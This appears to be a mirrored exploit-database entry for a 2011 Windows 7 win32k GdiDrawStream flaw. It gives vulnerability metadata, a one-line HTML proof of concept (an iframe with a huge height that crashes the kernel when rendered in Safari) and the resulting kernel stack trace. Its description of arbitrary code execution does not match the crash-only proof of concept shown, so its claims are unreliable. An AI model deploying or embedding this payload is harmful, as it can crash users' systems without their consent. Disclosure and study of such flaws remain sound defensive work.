GdiDrawStream BSoD

vendor:

Windows 7

by:

webDEViL

7.8

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Windows 7

Affected Version From: Latest

Affected Version To: Latest

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7 x64

2011

A buffer overflow vulnerability exists in the GdiDrawStream function of win32k.sys when handling a specially crafted HTML page. An attacker can exploit this vulnerability to execute arbitrary code in the context of the current user.

Mitigation:

No known mitigation or remediation is available for this vulnerability.

Source

Exploit-DB raw data:

# Exploit Title: GdiDrawStream BSoD
# Date: 18-12-2011
# Author: webDEViL
# Version: Latest
# Tested on: Windows 7 x64 using Safari
# http://twitter.com/w3bd3vil

<iframe height='18082563'></iframe>


---#---
STACK_TEXT:
fffff880`08b50f78 fffff800`0328e3bf : 00000000`00000050 fffff904`c2730258
00000000`00000001 fffff880`08b510e0 : nt!KeBugCheckEx
fffff880`08b50f80 fffff800`032e1d6e : 00000000`00000001 fffff904`c2730258
00000000`00002700 fffff880`08b51380 : nt! ?? ::FNODOBFM::`string'+0x44791
fffff880`08b510e0 fffff960`00164e2e : fffff960`00280a11 fffff900`c1f11320
fffff900`c273fe38 00000000`28451d38 : nt!KiPageFault+0x16e
fffff880`08b51278 fffff960`00280a11 : fffff900`c1f11320 fffff900`c273fe38
00000000`28451d38 00000011`00000001 : win32k!memmove+0x25e
fffff880`08b51280 fffff960`00280ca2 : fffff880`08b51380 00000000`000001dc
fffff900`c2062c78 fffff904`c2730238 : win32k!NtGdiUpdateTransform+0x161
fffff880`08b512b0 fffff960`002815e4 : 00000000`000001dc fffff902`c2734638
00000000`0009f580 00000000`00000000 : win32k!NtGdiUpdateTransform+0x3f2
fffff880`08b51310 fffff960`00281854 : fffff900`c2730018 fffff900`c2062978
00000000`fffffff2 fffff900`00000001 : win32k!NtGdiUpdateTransform+0xd34
fffff880`08b514f0 fffff960`0028208e : fffff900`c1d1a028 00000000`00000000
fffff900`c2730018 00000000`00000000 : win32k!NtGdiUpdateTransform+0xfa4
fffff880`08b515b0 fffff960`002821fd : fffff900`c1d1a028 fffff900`c2062978
00000000`0009f580 fffff900`c1f11320 : win32k!NtGdiUpdateTransform+0x17de
fffff880`08b516d0 fffff960`002823bc : fffff900`c00c0010 00000000`0000003c
fffff880`08b51b20 fffff900`c1d1a010 : win32k!EngNineGrid+0xb1
fffff880`08b51770 fffff960`00282879 : 00000000`00000000 fffff900`c2062978
00000000`00000000 fffff900`c1d1a010 : win32k!EngDrawStream+0x1a0
fffff880`08b51820 fffff960`002831cb : fffff880`08b51938 00000000`00000000
fffff900`c2062960 fffff900`c1f11320 : win32k!NtGdiDrawStreamInternal+0x47d
fffff880`08b518d0 fffff960`0029e93c : 00000000`3f010ad8 00000000`00000000
fffff880`08b51af0 fffff960`00000000 : win32k!GreDrawStream+0x917
fffff880`08b51ac0 fffff800`032e2ed3 : fffffa80`09777b60 00000000`00010000
00000000`000309c0 00000000`7efdb000 : win32k!NtGdiDrawStream+0x9c
fffff880`08b51c20 00000000`73f003fa : 00000000`00000000 00000000`00000000
00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13
00000000`0021dd78 00000000`00000000 : 00000000`00000000 00000000`00000000
00000000`00000000 00000000`00000000 : 0x73f003fa
---#---